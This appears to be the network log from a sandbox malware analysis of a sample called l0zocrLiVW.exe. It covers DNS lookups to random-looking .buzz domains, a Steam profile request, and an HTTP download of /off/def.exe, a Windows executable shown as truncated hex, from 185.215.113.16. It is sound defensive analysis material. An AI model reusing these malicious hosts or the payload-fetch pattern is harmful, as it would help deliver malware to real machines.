Dec 28, 2024 10:03:07.504941940 CET	192.168.2.6	1.1.1.1	0x7f7	Standard query (0)	scentniej.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:07.668687105 CET	192.168.2.6	1.1.1.1	0xdcea	Standard query (0)	inherineau.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:07.812155008 CET	192.168.2.6	1.1.1.1	0xd0d2	Standard query (0)	screwamusresz.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:07.958231926 CET	192.168.2.6	1.1.1.1	0x736e	Standard query (0)	appliacnesot.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:08.100368023 CET	192.168.2.6	1.1.1.1	0x900	Standard query (0)	cashfuzysao.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:08.244225025 CET	192.168.2.6	1.1.1.1	0x8386	Standard query (0)	hummskitnj.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:08.386573076 CET	192.168.2.6	1.1.1.1	0x14d8	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:11.372688055 CET	192.168.2.6	1.1.1.1	0x28ec	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:50.966572046 CET	192.168.2.6	1.1.1.1	0x8da4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:50.966733932 CET	192.168.2.6	1.1.1.1	0x23e8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 28, 2024 10:03:54.360043049 CET	192.168.2.6	1.1.1.1	0x78ca	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:54.360301018 CET	192.168.2.6	1.1.1.1	0x8c36	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 28, 2024 10:03:57.585103989 CET	192.168.2.6	1.1.1.1	0xefde	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:57.585285902 CET	192.168.2.6	1.1.1.1	0x2184	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 28, 2024 10:04:04.707165003 CET	192.168.2.6	1.1.1.1	0xa13d	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:04:04.707324982 CET	192.168.2.6	1.1.1.1	0x3888	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 28, 2024 10:03:07.194688082 CET	1.1.1.1	192.168.2.6	0x40a0	Name error (3)	mindhandru.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:07.341612101 CET	1.1.1.1	192.168.2.6	0x7a5a	Name error (3)	prisonyfork.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:07.482866049 CET	1.1.1.1	192.168.2.6	0xc7cd	Name error (3)	rebuildeso.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:07.644172907 CET	1.1.1.1	192.168.2.6	0x7f7	Name error (3)	scentniej.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:07.808950901 CET	1.1.1.1	192.168.2.6	0xdcea	Name error (3)	inherineau.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:07.952402115 CET	1.1.1.1	192.168.2.6	0xd0d2	Name error (3)	screwamusresz.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:08.097179890 CET	1.1.1.1	192.168.2.6	0x736e	Name error (3)	appliacnesot.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:08.241200924 CET	1.1.1.1	192.168.2.6	0x900	Name error (3)	cashfuzysao.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:08.384860039 CET	1.1.1.1	192.168.2.6	0x8386	Name error (3)	hummskitnj.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:08.542898893 CET	1.1.1.1	192.168.2.6	0x14d8	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:11.515213966 CET	1.1.1.1	192.168.2.6	0x28ec	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:11.515213966 CET	1.1.1.1	192.168.2.6	0x28ec	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:51.105803967 CET	1.1.1.1	192.168.2.6	0x23e8	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 28, 2024 10:03:51.107778072 CET	1.1.1.1	192.168.2.6	0x8da4	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:54.499677896 CET	1.1.1.1	192.168.2.6	0x78ca	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:54.499677896 CET	1.1.1.1	192.168.2.6	0x78ca	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:54.499677896 CET	1.1.1.1	192.168.2.6	0x78ca	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:54.499677896 CET	1.1.1.1	192.168.2.6	0x78ca	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:54.703794956 CET	1.1.1.1	192.168.2.6	0x4a6b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:54.782978058 CET	1.1.1.1	192.168.2.6	0x8c36	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:54.782978058 CET	1.1.1.1	192.168.2.6	0x8c36	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:54.868433952 CET	1.1.1.1	192.168.2.6	0x6536	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:54.868433952 CET	1.1.1.1	192.168.2.6	0x6536	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:54.868433952 CET	1.1.1.1	192.168.2.6	0x6536	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:57.538568974 CET	1.1.1.1	192.168.2.6	0xae72	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:57.539781094 CET	1.1.1.1	192.168.2.6	0x8dbb	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:57.539781094 CET	1.1.1.1	192.168.2.6	0x8dbb	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:57.539781094 CET	1.1.1.1	192.168.2.6	0x8dbb	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:57.724616051 CET	1.1.1.1	192.168.2.6	0xefde	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:57.724616051 CET	1.1.1.1	192.168.2.6	0xefde	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:57.724616051 CET	1.1.1.1	192.168.2.6	0xefde	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:57.724616051 CET	1.1.1.1	192.168.2.6	0xefde	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:57.724843979 CET	1.1.1.1	192.168.2.6	0x2184	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:03:57.724843979 CET	1.1.1.1	192.168.2.6	0x2184	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:04:04.912966013 CET	1.1.1.1	192.168.2.6	0x3888	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:04:04.944741011 CET	1.1.1.1	192.168.2.6	0xa13d	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:04:08.467528105 CET	1.1.1.1	192.168.2.6	0xa8fd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:04:08.480662107 CET	1.1.1.1	192.168.2.6	0x675f	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:04:15.526407003 CET	1.1.1.1	192.168.2.6	0xf8bd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 10:04:15.526515961 CET	1.1.1.1	192.168.2.6	0x4465	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49766	185.215.113.16	80	2736	C:\Users\user\Desktop\l0zocrLiVW.exe

Timestamp	Bytes transferred	Direction	Data
Dec 28, 2024 10:03:34.709332943 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 28, 2024 10:03:36.040529013 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Dec 2024 09:03:34 GMT Content-Type: application/octet-stream Content-Length: 2787840 Last-Modified: Sat, 28 Dec 2024 08:16:29 GMT Connection: keep-alive ETag: "676fb3dd-2a8a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 a7 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +:+`Ui`D @ @ @.rsrcD``@.idata f@xgbpctqr)h@vgxupmxs d@.taggant@"h*@
Dec 28, 2024 10:03:36.040554047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 10:03:36.040568113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 10:03:36.040657997 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 10:03:36.040669918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 10:03:36.040682077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 10:03:36.040698051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 10:03:36.040709019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 28, 2024 10:03:36.040724039 CET	1236	IN	Data Raw: 1f 59 6d fd 1f 12 6d fd 0e 2d 78 fd 1f 19 6f f5 b8 0b 6d fd 15 19 73 e0 12 2d 78 fd 1f 19 6f a2 0a 0f 6d 07 1d 13 77 a2 09 0f 6d 07 f5 00 73 fe b8 0c 6d fd 15 13 4b 04 22 10 71 f7 b8 0d 6d fd 15 cd 67 fb fb 15 73 a2 ff 0f 6d 07 4c cd 70 db 49 0f Data Ascii: Ymm-xoms-xomwmsmK"qmgsmLpIGym VmmU3m]nmhE smm!!bEsmpm!EsVmm!&Esmn!&Esmo!&Esmn
Dec 28, 2024 10:03:36.040841103 CET	1236	IN	Data Raw: 21 f9 70 ed 1e 45 ed a2 1d 08 6e ab 9f 93 6f f6 1e 45 ed 01 1d 08 6e ab 9f c4 6f f6 1e 45 ed 0d 1e 08 6e ab 9f bb 6d f6 1e 15 73 e7 23 ff 6d ab 9f 94 70 f2 1e 45 ed 77 20 0c 6e ab 9f 8c 6d f2 1e 45 ed 21 1f 0c 6e ab 9f 42 70 f2 1e 45 ed 50 1f 0c Data Ascii: !pEnoEnoEnms#mpEw nmE!nBpEPnos#m;mE6munEmoE:m.oE{mHnEm}os#m6oEmnEmGoE. m?mEtmmEmpEP mup
Dec 28, 2024 10:03:36.161536932 CET	776	IN	Data Raw: 20 16 6d 45 20 80 6d 04 20 db 6d 33 20 16 6d 2d 20 b0 6d 04 20 c3 6d 25 20 16 6d 35 20 87 6d 04 20 cb 6d 20 20 16 6d 1d 20 a1 6d 04 20 b3 6d 0a 20 16 6d 25 20 ab 6d 04 20 bb 6d fc 1e 16 6d 0d 20 15 6e da 1f 01 6d 78 1e fd 6c 06 20 91 6e e3 1f 00 Data Ascii: mE m m3 m- m m% m5 m m m m m m% m mm nmxl nmlynlNllnlRllnPmNln@mRlln0m0lo mPmtmmZ 0mtmmZ 0m~ Mo mZ n tmmZ Pn tmnnnnlBme_m

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49708	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:02 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 39 78 53 4c 6b 32 76 2f 75 6b 69 76 73 46 6c 37 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 62 39 32 30 32 39 38 63 30 34 31 35 66 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 9xSLk2v/ukivsFl7.1Context: 53b920298c0415f3
2024-12-28 09:03:02 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:03:02 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 39 78 53 4c 6b 32 76 2f 75 6b 69 76 73 46 6c 37 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 62 39 32 30 32 39 38 63 30 34 31 35 66 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 9xSLk2v/ukivsFl7.2Context: 53b920298c0415f3<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:03:02 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 39 78 53 4c 6b 32 76 2f 75 6b 69 76 73 46 6c 37 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 33 62 39 32 30 32 39 38 63 30 34 31 35 66 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 9xSLk2v/ukivsFl7.3Context: 53b920298c0415f3
2024-12-28 09:03:02 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:03:02 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 42 77 67 47 68 6c 37 64 61 6b 2b 48 77 44 42 46 43 5a 52 67 53 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: BwgGhl7dak+HwDBFCZRgSQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49709	23.55.153.106	443	2736	C:\Users\user\Desktop\l0zocrLiVW.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:10 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-28 09:03:11 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 28 Dec 2024 09:03:10 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=9cf8b19700e42c9f9cfc16b4; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-28 09:03:11 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-28 09:03:11 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-28 09:03:11 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49710	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
